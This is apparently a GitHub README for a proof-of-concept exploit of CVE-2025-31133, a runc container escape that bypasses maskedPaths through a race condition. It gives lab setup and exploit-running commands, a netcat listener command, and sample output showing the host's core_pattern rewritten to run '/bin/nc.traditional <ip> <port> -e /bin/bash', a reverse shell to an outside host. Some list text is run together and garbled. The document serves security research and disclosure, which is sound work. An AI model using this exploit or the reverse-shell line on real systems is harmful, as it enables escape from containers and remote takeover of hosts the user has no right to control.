
Educational proof-of-concept for CVE-2025-31133, a runc container escape via maskedPaths race condition. Includes lab setup, exploit script, and mitigation guidance for security researchers.
A proof-of-concept demonstration and learning environment for CVE-2025-31133, a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive host filesystem paths.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 This repo is a practical example of the exact research mindset and techniques taught in the Black Hat training:
The exploit leverages a race condition where:
maskedPaths to protect sensitive files (e.g., /proc/sys/kernel/core_pattern)/dev/null) in the container rootfsThis repository is for educational purposes only.
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
The lab-setup.sh script will:
chmod +x lab-setup.sh
./lab-setup.sh
Check that the vulnerable runc version is installed:
runc --version
You should see version 1.2.0 or similar.
nc -lnvp <PORT>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
On success, you should see:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
A reverse shell connection should be established to your listener.
To protect against this vulnerability:
core_pattern after successful exploitationThis project is provided for educational purposes. Use responsibly and ethically.
Remember: Always use security research tools responsibly and only in environments you own or have explicit permission to test.